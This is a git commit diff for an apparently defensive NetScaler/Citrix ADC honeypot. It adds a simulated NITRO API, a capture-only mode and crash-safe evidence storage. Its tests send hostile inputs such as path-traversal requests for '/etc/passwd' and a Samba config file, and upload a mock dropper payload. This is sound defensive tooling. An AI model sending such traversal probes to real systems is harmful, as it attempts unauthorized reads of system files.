Expand capture-only NetScaler NITRO simulation and crash recovery

This commit is contained in:
StasonJatham committed 2026-10-04 06:16:31 +02:00
1 parent 7b99db9e25
commit c65f049223
10 files changed
+2097 -19

No files matched your search

+5 -2
View File
@@ -4,6 +4,8 @@
# --- Decoy listener (honeypot.py) --- # --- Decoy listener (honeypot.py) ---
HONEYPOT_BIND=0.0.0.0 HONEYPOT_BIND=0.0.0.0
HONEYPOT_PORT=8443 HONEYPOT_PORT=8443
# Synthetic NITRO identity only; does not change any installed appliance.
HONEYPOT_VERSION="NetScaler NS14.1: Build 29.63.nc"
# Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables. # Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables.
HONEYPOT_PROXY_PROTOCOL_FROM= HONEYPOT_PROXY_PROTOCOL_FROM=
# Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted # Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted
@@ -24,8 +26,9 @@ INGRESS_ALLOW_FROM=
VIEWER_BIND=127.0.0.1 VIEWER_BIND=127.0.0.1
VIEWER_PORT=8787 VIEWER_PORT=8787
VIEWER_LOG_DIR=/var/lib/decoy/http VIEWER_LOG_DIR=/var/lib/decoy/http
# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated. # Extra client IPs to hide. Comma-separated. The supplied service disables public-IP discovery.
VIEWER_HIDE_IP= VIEWER_HIDE_IP=
# --- VM execution backend (optional, isolated guest only) --- # --- VM execution backend (optional, isolated guest only) ---
DECOY_VM_CONFIG=/etc/decoy-vm.json DECOY_VM_CONFIG=
# Strict --simulation-only mode refuses a configured execution backend.
+36 -1
View File
@@ -43,6 +43,40 @@ exploit attempts, not a real appliance and not a vulnerability scanner.
## What it does ## What it does
### Capture-only deployment
Use `--simulation-only` to refuse execution and URL fetching. The supplied HTTP service uses
this mode and does not depend on an execution guest or relay. The loopback viewer service
disables external public-IP discovery. These services create no backups.
The NITRO simulator supports login/logout cookies, configuration and statistics resource routes,
named reads, fake POST/PUT/DELETE operations, enable/disable/rename acknowledgements, bindings,
`attrs`, literal `filter`/`args`, counts and pagination. Its catalog recognizes 1,493 configuration
names and 176 statistics names from the [official 14.1 reference](https://developer-docs.netscaler.com/en-us/adc-nitro-api/current-release/configuration/). Common appliance, network,
Gateway, AAA, load-balancing, SSL and binding resources have populated synthetic data;
unconfigured resources return empty collections. This is a protocol simulation, not a complete
implementation of every resource's schema or firmware behaviour. Fake changes are bounded,
per-source memory only and expire with sessions; NAT can merge clients. `HONEYPOT_VERSION`
controls the invented firmware banner. Uploaded files never become operating-system files
at submitted paths and are never served publicly.
JSON `systemfile.filecontent` uploads are base64-decoded into inert artifacts while preserving
the original JSON body too. Binary, multipart, chunked and rejected-request evidence is retained
by the existing capture layer. Files are committed with atomic rename and directory fsync;
an interrupted journal tail is preserved separately from subsequent records.
The supplied systemd unit restarts ordinary service crashes after five seconds. Enable VM
autostart separately when deploying on a hypervisor. Storage/capture failure
sets an evidence-directory `STOP` latch and exits78, preventing automatic restart. Review
storage and preserve captured evidence before explicitly clearing that latch. Capture has a
configurable evidence quota, a 16MiB request-body limit and eight concurrent requests. Cloudflare/NPM
may reject or normalize traffic before it reaches the collector; unread/rejected bytes beyond
these boundaries cannot be promised as captured.
Checks: `python3 test_nitro.py`, `python3 test_capture.py`, `python3 test_honeypot.py` and
`python3 test_safety.py`. Optional execution tools described below are incompatible with
`--simulation-only` and are not used by the supplied HTTP service.
- Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`, - Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`,
`/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the `/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the
`rdx`/`CTXS` scripts and favicon fingerprint that scanners look for. `rdx`/`CTXS` scripts and favicon fingerprint that scanners look for.
@@ -82,7 +116,7 @@ git clone <your-fork-url> citrixpot && cd citrixpot
cp .env.example .env # edit to taste cp .env.example .env # edit to taste
python3 test_honeypot.py # run the test suite python3 test_honeypot.py # run the test suite
set -a; . ./.env; set +a set -a; . ./.env; set +a
python3 honeypot.py & # decoy on http://127.0.0.1:8443 python3 honeypot.py --simulation-only & # decoy on http://127.0.0.1:8443
python3 viewer.py # analyst UI on http://127.0.0.1:8787 python3 viewer.py # analyst UI on http://127.0.0.1:8787
``` ```
@@ -97,6 +131,7 @@ All settings come from the environment (or a `.env` file / systemd `EnvironmentF
| Variable | Purpose | | Variable | Purpose |
|---|---| |---|---|
| `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port | | `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port |
| `HONEYPOT_VERSION` | synthetic NITRO firmware banner |
| `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) | | `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) |
| `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted | | `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted |
| `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota | | `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota |
+3 -2
View File
@@ -3,7 +3,7 @@ Description=Local read-only honeypot evidence viewer (loopback only)
After=network-online.target After=network-online.target
[Service] [Service]
EnvironmentFile=/etc/decoy.env EnvironmentFile=/etc/decoy.env
ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR} ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --no-hide-public-ip --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR}
WorkingDirectory=/opt/decoy WorkingDirectory=/opt/decoy
UMask=0077 UMask=0077
NoNewPrivileges=true NoNewPrivileges=true
@@ -14,6 +14,7 @@ ReadOnlyPaths=/var/lib/decoy
RestrictAddressFamilies=AF_INET RestrictAddressFamilies=AF_INET
MemoryMax=256M MemoryMax=256M
TasksMax=32 TasksMax=32
Restart=no Restart=on-failure
RestartSec=5
[Install] [Install]
WantedBy=multi-user.target WantedBy=multi-user.target
+7 -4
View File
@@ -1,16 +1,19 @@
[Unit] [Unit]
Description=NetScaler decoy HTTP and evidence collector Description=NetScaler decoy HTTP and evidence collector
After=network-online.target decoy-network.service After=network-online.target
Requires=decoy-network.service StartLimitIntervalSec=300
StartLimitBurst=10
[Service] [Service]
EnvironmentFile=/etc/decoy.env EnvironmentFile=/etc/decoy.env
# Simulation only: attacker commands are parsed, stored and answered, never executed. # Simulation only: attacker commands are parsed, stored and answered, never executed.
# Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest; # Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest;
# never enable it on an internet-facing listener. All values come from /etc/decoy.env. # never enable it on an internet-facing listener. All values come from /etc/decoy.env.
ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB} ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --simulation-only --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB}
WorkingDirectory=/opt/decoy WorkingDirectory=/opt/decoy
UMask=0077 UMask=0077
Restart=no Restart=on-failure
RestartSec=5
RestartPreventExitStatus=78
NoNewPrivileges=true NoNewPrivileges=true
PrivateTmp=true PrivateTmp=true
ProtectSystem=strict ProtectSystem=strict
+24 -2
View File
@@ -6,6 +6,7 @@ import os
import pathlib import pathlib
import threading import threading
import time import time
import tempfile
class EvidenceError(OSError): class EvidenceError(OSError):
@@ -25,6 +26,21 @@ class Evidence:
self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file()) self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file())
self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600) self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600)
os.fchmod(self.journal, 0o600) os.fchmod(self.journal, 0o600)
# Preserve a crash-interrupted record without merging the next event into it.
with (self.directory / 'events.jsonl').open('rb') as previous:
previous.seek(0, os.SEEK_END)
if previous.tell():
previous.seek(-1, os.SEEK_END)
if previous.read(1) != b'\n':
self.reserve(1)
os.write(self.journal, b'\n')
os.fsync(self.journal)
self.used += 1
directory = os.open(self.directory, os.O_RDONLY)
try:
os.fsync(directory)
finally:
os.close(directory)
def reserve(self, size): def reserve(self, size):
if self.used + size > self.quota: if self.used + size > self.quota:
@@ -50,14 +66,20 @@ class Evidence:
with self.lock: with self.lock:
if not path.exists(): if not path.exists():
self.reserve(len(data)) self.reserve(len(data))
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600) fd, temporary = tempfile.mkstemp(prefix='.capture-', dir=self.artifacts)
try: try:
with os.fdopen(fd, 'wb') as output: with os.fdopen(fd, 'wb') as output:
output.write(data) output.write(data)
output.flush() output.flush()
os.fsync(output.fileno()) os.fsync(output.fileno())
os.replace(temporary, path)
directory = os.open(self.artifacts, os.O_RDONLY)
try:
os.fsync(directory)
finally:
os.close(directory)
except BaseException: except BaseException:
path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash pathlib.Path(temporary).unlink(missing_ok=True)
raise raise
self.used += len(data) self.used += len(data)
return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name) return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name)
+54 -7
View File
@@ -1,6 +1,8 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution.""" """Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution."""
import argparse import argparse
import base64
import binascii
import collections import collections
import email.parser import email.parser
import email.policy import email.policy
@@ -8,6 +10,7 @@ import hashlib
import html import html
import http.server import http.server
import ipaddress import ipaddress
import json
import os import os
import pathlib import pathlib
import posixpath import posixpath
@@ -21,6 +24,7 @@ import time
import urllib.parse import urllib.parse
from trusted_proxy import source as proxy_source, forwarded_client from trusted_proxy import source as proxy_source, forwarded_client
from evidence import Evidence, EvidenceError, RecordingReader from evidence import Evidence, EvidenceError, RecordingReader
from nitro import respond as nitro_response
from env_file import load, env_int from env_file import load, env_int
MAX_BODY = 16 * 1024 * 1024 MAX_BODY = 16 * 1024 * 1024
@@ -305,7 +309,7 @@ class Server(http.server.ThreadingHTTPServer):
# Only a hop (the PROXY-declared source) inside one of these networks may set client headers. # Only a hop (the PROXY-declared source) inside one of these networks may set client headers.
self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded] self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded]
self.capture_failed = False self.capture_failed = False
self.slots = threading.BoundedSemaphore(32) self.slots = threading.BoundedSemaphore(8)
self.local = threading.local() self.local = threading.local()
super().__init__(address, Handler) super().__init__(address, Handler)
@@ -367,6 +371,15 @@ class Server(http.server.ThreadingHTTPServer):
if self.capture_failed: if self.capture_failed:
return return
self.capture_failed = True self.capture_failed = True
if self.engine.save:
store = getattr(self.engine.save, '__self__', None)
if isinstance(store, Evidence):
try:
marker = store.directory / 'STOP'
marker.write_text('Capture failed; preserve evidence and review storage before clearing.\n')
marker.chmod(0o600)
except OSError:
pass
if self.engine.backend: if self.engine.backend:
try: try:
self.engine.backend.close(trip=True) self.engine.backend.close(trip=True)
@@ -522,6 +535,19 @@ class Handler(http.server.BaseHTTPRequestHandler):
except ValueError: except ValueError:
self.event('form_parse_error', raw_body_retained=True) self.event('form_parse_error', raw_body_retained=True)
return [] return []
if kind == 'application/json':
try:
document = json.loads(body)
files = document.get('systemfile', []) if isinstance(document, dict) else []
files = [files] if isinstance(files, dict) else files
if isinstance(files, list):
for item in files[:128]:
if isinstance(item, dict) and isinstance(item.get('filecontent'), str):
content = base64.b64decode(item['filecontent'], validate=True)
self.event('upload', filename=item.get('filename'), field='systemfile.filecontent',
content_type='application/octet-stream', content=content)
except (ValueError, RecursionError, binascii.Error):
self.event('json_upload_parse_error', raw_body_retained=True)
if body: if body:
self.event('upload_or_raw_payload', filename=None, content=body) self.event('upload_or_raw_payload', filename=None, content=body)
if self.server.engine.backend: if self.server.engine.backend:
@@ -568,6 +594,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})): auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})):
engine.auth_attempt(state, self.context, url.path) engine.auth_attempt(state, self.context, url.path)
vm_read_path = None vm_read_path = None
extra_headers = []
with engine.lock: with engine.lock:
candidates = [('uri', urllib.parse.unquote(self.path))] candidates = [('uri', urllib.parse.unquote(self.path))]
candidates += [('header:' + key, value) for key, value in self.headers.items()] candidates += [('header:' + key, value) for key, value in self.headers.items()]
@@ -582,6 +609,9 @@ class Handler(http.server.BaseHTTPRequestHandler):
'<StateContext>' + html.escape(state.sid) + '</StateContext>' '<StateContext>' + html.escape(state.sid) + '</StateContext>'
'</AuthenticateResponse>').encode() '</AuthenticateResponse>').encode()
mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8' mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8'
elif url.path.startswith('/nitro/'):
code, result, extra_headers = nitro_response(state, self.command, url, body, self.headers)
data, mime = json.dumps(result).encode(), 'application/json'
elif url.path not in LOGIN_PATHS: elif url.path not in LOGIN_PATHS:
key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/')) key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/'))
if not self.server.serve_guest_files: if not self.server.serve_guest_files:
@@ -611,6 +641,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
"img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; " "img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; "
"connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; " "connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; "
"report-uri /nscsp_violation/report_uri")] "report-uri /nscsp_violation/report_uri")]
headers.extend(extra_headers)
self.event('response', status=code, headers=headers, content=data, self.event('response', status=code, headers=headers, content=data,
body_suppressed=self.command == 'HEAD') body_suppressed=self.command == 'HEAD')
self.send_response(code) self.send_response(code)
@@ -642,6 +673,7 @@ def parse_trusted(spec):
def main(): def main():
load() load()
parser = argparse.ArgumentParser(description=__doc__) parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--simulation-only', action='store_true', help='refuse real execution and URL fetching')
parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP') parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP')
parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None, parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None,
help='opt-in dedicated disposable guest SSH configuration') help='opt-in dedicated disposable guest SSH configuration')
@@ -663,6 +695,8 @@ def main():
parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024), parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024),
help='total evidence quota; stop rather than overwrite at this limit') help='total evidence quota; stop rather than overwrite at this limit')
args = parser.parse_args() args = parser.parse_args()
if args.simulation_only and (args.vm_config or args.allow_real_execution or args.fetch_payloads):
parser.error('--simulation-only cannot use execution or payload fetching')
if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1: if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1:
parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive') parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive')
if args.vm_config and not args.allow_real_execution: if args.vm_config and not args.allow_real_execution:
@@ -671,7 +705,14 @@ def main():
parser.error('--allow-real-execution requires --vm-config') parser.error('--allow-real-execution requires --vm-config')
os.umask(0o077) os.umask(0o077)
directory = pathlib.Path(args.log_dir) directory = pathlib.Path(args.log_dir)
evidence = Evidence(directory, args.evidence_mib * 1024 * 1024) if (directory / 'STOP').exists():
print('Capture STOP latch exists; review storage before clearing.', file=sys.stderr)
raise SystemExit(78)
try:
evidence = Evidence(directory, args.evidence_mib * 1024 * 1024)
except OSError as error:
print(f'Evidence storage unavailable: {error}', file=sys.stderr)
raise SystemExit(78)
context = None context = None
if args.cert: if args.cert:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
@@ -699,10 +740,16 @@ def main():
server.stop_capture(error) server.stop_capture(error)
break break
threading.Thread(target=worker, daemon=True).start() threading.Thread(target=worker, daemon=True).start()
engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port, try:
delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY, engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port,
serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend), delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY,
payload_fetch=bool(engine.fetcher)) serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend),
payload_fetch=bool(engine.fetcher))
except EvidenceError as error:
server.stop_capture(error)
server.server_close()
evidence.close()
raise SystemExit(78)
if engine.backend: if engine.backend:
print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest', print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest',
file=sys.stderr, flush=True) file=sys.stderr, flush=True)
@@ -721,7 +768,7 @@ def main():
server.server_close() server.server_close()
evidence.close() evidence.close()
if server.capture_failed: if server.capture_failed:
raise SystemExit(1) raise SystemExit(78)
if __name__ == '__main__': if __name__ == '__main__':
+1675
View File
File diff suppressed because it is too large. Load diff
+174
View File
@@ -0,0 +1,174 @@
"""Inert NITRO responses. All mutations affect bounded per-source dictionaries only."""
import copy
import datetime
import json
import os
import pathlib
import secrets
import urllib.parse
from http.cookies import SimpleCookie, CookieError
RESOURCES = json.loads(pathlib.Path(__file__).with_name('nitro-resources.json').read_text())
CONFIG = {
'nsversion': [dict(version=os.environ.get('HONEYPOT_VERSION', 'NetScaler NS14.1: Build 29.63.nc'), mode=0)],
'nshardware': [dict(hwdescription='NetScaler Virtual Appliance', serialno='VMPE00000001')],
'nshostname': [dict(hostname='adc-gateway')],
'nsconfig': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', changed=False, configchanged=False)],
'nsip': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', type='NSIP', state='ENABLED', gui='SECUREONLY'),
dict(ipaddress='198.51.100.11', netmask='255.255.255.0', type='SNIP', state='ENABLED')],
'nsfeature': [dict(lb=True, cs=True, ssl=True, sslvpn=True, aaa=True, rewrite=True, responder=True)],
'nsmode': [dict(fr=True, l3=True, usnip=True, pmtud=True)],
'nslicense': [dict(licensetype='Premium', modelid='1000', ssl=True, sslvpn=True)],
'nsparam': [dict(timezone='GMT', cookieversion='0', maxconn=0)],
'hanode': [dict(id=0, ipaddress='198.51.100.10', state='UP', hastatus='YES', masterstate='Primary')],
'interface': [dict(id='1/1', state='ENABLED', curstate='UP', mtu=1500, mac='00:50:56:01:02:03')],
'vlan': [dict(id=1, aliasname='DEFAULT')],
'route': [dict(network='0.0.0.0', netmask='0.0.0.0', gateway='198.51.100.1', distance=1)],
'dnsnameserver': [dict(ip='198.51.100.53', state='ENABLED')],
'server': [dict(name='app01', ipaddress='198.51.100.20', state='ENABLED')],
'service': [dict(name='svc_app_https', servername='app01', ip='198.51.100.20', port=443,
servicetype='SSL', state='ENABLED', curstate='UP')],
'servicegroup': [dict(servicegroupname='sg_apps', servicetype='SSL', state='ENABLED')],
'lbvserver': [dict(name='lb_apps', ipv46='198.51.100.12', port=443, servicetype='SSL',
lbmethod='LEASTCONNECTION', state='ENABLED', curstate='UP')],
'csvserver': [dict(name='cs_apps', ipv46='198.51.100.12', port=443, servicetype='SSL', state='ENABLED')],
'vpnvserver': [dict(name='vpn_gateway', ipv46='198.51.100.10', port=443, servicetype='SSL',
state='ENABLED', curstate='UP', authentication='ON')],
'vpnsessionaction': [dict(name='vpn_default', defaultauthorizationaction='ALLOW', clientlessvpnmode='OFF')],
'vpnsessionpolicy': [dict(name='vpn_default_policy', rule='true', action='vpn_default')],
'vpnportaltheme': [dict(name='RfWebUI', basetheme='RfWebUI')],
'authenticationvserver': [dict(name='aaa_gateway', servicetype='SSL', authenticationdomain='corp.invalid', state='ENABLED')],
'authenticationldapaction': [dict(name='ldap_corp', serverip='198.51.100.30', serverport=636,
ldapbase='dc=corp,dc=invalid', sectype='SSL')],
'authenticationldappolicy': [dict(name='ldap_policy', rule='ns_true', reqaction='ldap_corp')],
'systemuser': [dict(username='nsroot', timeout=900)],
'systemgroup': [dict(groupname='administrators', timeout=900)],
'sslcertkey': [dict(certkey='gateway_cert', cert='/nsconfig/ssl/gateway.crt', key='/nsconfig/ssl/gateway.key', status='Valid')],
'sslvserver': [dict(vservername='vpn_gateway', ssl3='DISABLED', tls1='DISABLED', tls12='ENABLED', tls13='ENABLED')],
'lbvserver_service_binding': [dict(name='lb_apps', servicename='svc_app_https', weight=1)],
'vpnvserver_vpnsessionpolicy_binding': [dict(name='vpn_gateway', policy='vpn_default_policy', priority=100)],
'vpnvserver_sslcertkey_binding': [dict(name='vpn_gateway', certkeyname='gateway_cert')],
'servicegroup_servicegroupmember_binding': [dict(servicegroupname='sg_apps', ip='198.51.100.20', port=443, weight=1)],
'systemuser_systemgroup_binding': [dict(username='nsroot', groupname='administrators')],
'auditnslogparams': [dict(serverip='198.51.100.40', serverport=3020, loglevel=['ERROR', 'WARNING'])],
'snmpmib': [dict(contact='Network Operations', location='Datacenter', name='adc-gateway')],
'ntpserver': [dict(serverip='198.51.100.123', preferred='YES')],
'systemfile': [],
'nsrunningconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')],
'nssavedconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')],
}
KEYS = ('name', 'servicegroupname', 'username', 'groupname', 'certkey', 'vservername', 'ipaddress', 'ip', 'id', 'filename')
def reply(status=200, errorcode=0, message='Done', **data):
return status, dict(errorcode=errorcode, message=message, severity='ERROR' if errorcode else 'NONE', **data), []
def identity(row):
return next((str(row[k]) for k in KEYS if k in row), '')
def respond(state, method, url, body, headers):
parts = url.path.strip('/').split('/', 4)
if len(parts) < 4 or parts[:2] != ['nitro', 'v1'] or parts[2] not in RESOURCES:
return reply(404, 258, 'Invalid resource type')
kind, resource = parts[2:4]
name = urllib.parse.unquote(parts[4]) if len(parts) > 4 else ''
try:query = dict(urllib.parse.parse_qsl(url.query, max_num_fields=128))
except ValueError:return reply(400, 258, 'Invalid argument')
if not hasattr(state, 'nitro'):
state.nitro = dict(token=None, data={})
fake = state.nitro
payload = {}
if method in ('POST', 'PUT', 'PATCH') and body:
try:
# Large systemfile bodies are captured separately; never retain their bytes in fake config.
payload = json.loads(body) if len(body) <= 65536 else ({'systemfile': {}} if resource == 'systemfile' else None)
if not isinstance(payload, dict):raise ValueError()
except (ValueError, RecursionError):
return reply(400, 258, 'Invalid argument')
if resource == 'login' and kind == 'config' and method == 'POST':
login = payload.get('login', {})
if not isinstance(login, dict) or not login.get('username') or not login.get('password'):
return reply(400, 258, 'Invalid argument')
fake['token'] = '##' + secrets.token_hex(16).upper()
status, result, extra = reply(201, sessionid=fake['token'], login=[dict(sessionid=fake['token'])])
extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN='+fake['token']+'; Path=/nitro/v1; Secure; HttpOnly'))
return status, result, extra
cookie = SimpleCookie()
try:cookie.load(headers.get('Cookie', ''))
except CookieError:pass
token = cookie.get('NITRO_AUTH_TOKEN')
auth = bool(token and fake['token'] and token.value == fake['token'])
# These credentials authenticate only this invented appliance, never an external system.
auth |= bool(headers.get('X-NITRO-USER') and headers.get('X-NITRO-PASS'))
auth |= headers.get('Authorization', '').startswith('Basic ')
if not auth:return reply(401, 444, 'Authentication required')
if resource == 'logout' and method == 'POST':
fake['token'] = None
status, result, extra = reply(201)
extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN=; Path=/nitro/v1; Max-Age=0'))
return status, result, extra
if resource not in RESOURCES[kind] and resource not in CONFIG:
return reply(404, 258, 'Invalid resource type')
rows = copy.deepcopy(fake['data'].get(resource, CONFIG.get(resource, [])))
if resource.endswith('_binding') and not rows:
root = resource[:-8]
for item in CONFIG.get(root, []):
bindings = {key:copy.deepcopy(value) for key,value in CONFIG.items()
if key.startswith(root+'_') and key.endswith('_binding')}
if bindings:rows.append(dict(name=identity(item), **bindings))
if kind == 'stat':
if not rows:rows = [dict(name=name)] if name else [{}]
for row in rows:
row.update(totalrequests='0', requestsrate=0, establishedconn='0', throughput='0', throughputrate=0)
if resource == 'system':row.update(cpuusage=2, memusagepcnt=18, disk0perusage=9)
if resource == 'ns':row.update(totrxmbits='0', tottxmbits='0', tcpcurclientconn='0')
if resource == 'nstime':rows = [dict(time=datetime.datetime.now(datetime.timezone.utc).strftime('%a %b %d %H:%M:%S %Y'))]
if method in ('GET', 'HEAD'):
if name:rows = [row for row in rows if identity(row) == name]
for key in ('filter', 'args'):
# ponytail: literal filters; add bounded regex matching if a client needs it.
for condition in query.get(key, '').split(','):
if ':' in condition:
field, value = condition.split(':', 1)
rows = [row for row in rows if str(row.get(field, '')) == value]
if query.get('count') == 'yes':rows = [dict(__count=len(rows))]
else:
try:
size = min(1000, max(1, int(query.get('pagesize', 1000))))
page = max(1, int(query.get('pageno', 1)))
except ValueError:return reply(400, 258, 'Invalid argument')
rows = rows[(page-1)*size:page*size]
if query.get('attrs'):
attrs = set(query['attrs'].split(','));rows = [{k:v for k,v in row.items() if k in attrs} for row in rows]
return reply(**{resource: rows})
if method == 'OPTIONS':return 200, {}, [('Allow', 'GET, HEAD, POST, PUT, DELETE, OPTIONS')]
if kind == 'stat':return reply(405, 258, 'Method not allowed')
if method == 'DELETE':
if not name:return reply(400, 258, 'Invalid argument')
rows = [row for row in rows if identity(row) != name]
elif method in ('POST', 'PUT'):
incoming = payload.get(resource)
if not isinstance(incoming, (dict, list)):return reply(400, 258, 'Invalid argument')
incoming = incoming if isinstance(incoming, list) else [incoming]
if len(incoming) > 128 or any(not isinstance(row, dict) for row in incoming):return reply(400, 258, 'Invalid argument')
action = query.get('action')
if action and action not in ('enable', 'disable', 'rename'):
# Administrative actions are acknowledgements, never operations on this host.
return reply()
for row in incoming:
row = {k:v for k,v in row.items() if k not in ('password', 'filecontent')}
old = next((item for item in rows if identity(item) == identity(row)), None)
if action in ('enable', 'disable'):
row['state'] = 'ENABLED' if action == 'enable' else 'DISABLED'
if action == 'rename' and 'newname' in row:row['name'] = row.pop('newname')
if old is None:rows.append(row)
else:old.update(row)
else:return reply(405, 258, 'Method not allowed')
updated = dict(fake['data'], **{resource:rows})
try:
if len(json.dumps(updated)) > 65536:return reply(503, 258, 'Resource limit reached')
except (ValueError, RecursionError):return reply(400, 258, 'Invalid argument')
fake['data'] = updated
return reply(201 if method == 'POST' and not query.get('action') else 200)
+47 -1
View File
@@ -5,6 +5,9 @@ import json
import pathlib import pathlib
import tempfile import tempfile
import threading import threading
import subprocess
import sys
from unittest.mock import patch
from honeypot import Engine, Server, extract from honeypot import Engine, Server, extract
from evidence import Evidence from evidence import Evidence
@@ -33,6 +36,12 @@ def main():
return result return result
try: try:
status, response = request('POST', '/nitro/v1/config/login', b'{"login":{"username":"capture-check","password":"inert"}}',
{'Content-Type': 'application/json'})
assert status == 201 and json.loads(response)['login'][0]['sessionid']
auth = {'Cookie': 'NITRO_AUTH_TOKEN=' + json.loads(response)['sessionid']}
assert json.loads(request('GET', '/nitro/v1/stat/system', headers=auth)[1])['system'][0]['cpuusage'] == 2
assert engine.backend is None and engine.fetcher is None
request('GET', '/vpn/../vpns/cfg/smb.conf') request('GET', '/vpn/../vpns/cfg/smb.conf')
assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows) assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
request('GET', '/../../etc/passwd') request('GET', '/../../etc/passwd')
@@ -44,7 +53,7 @@ def main():
request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'}) request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
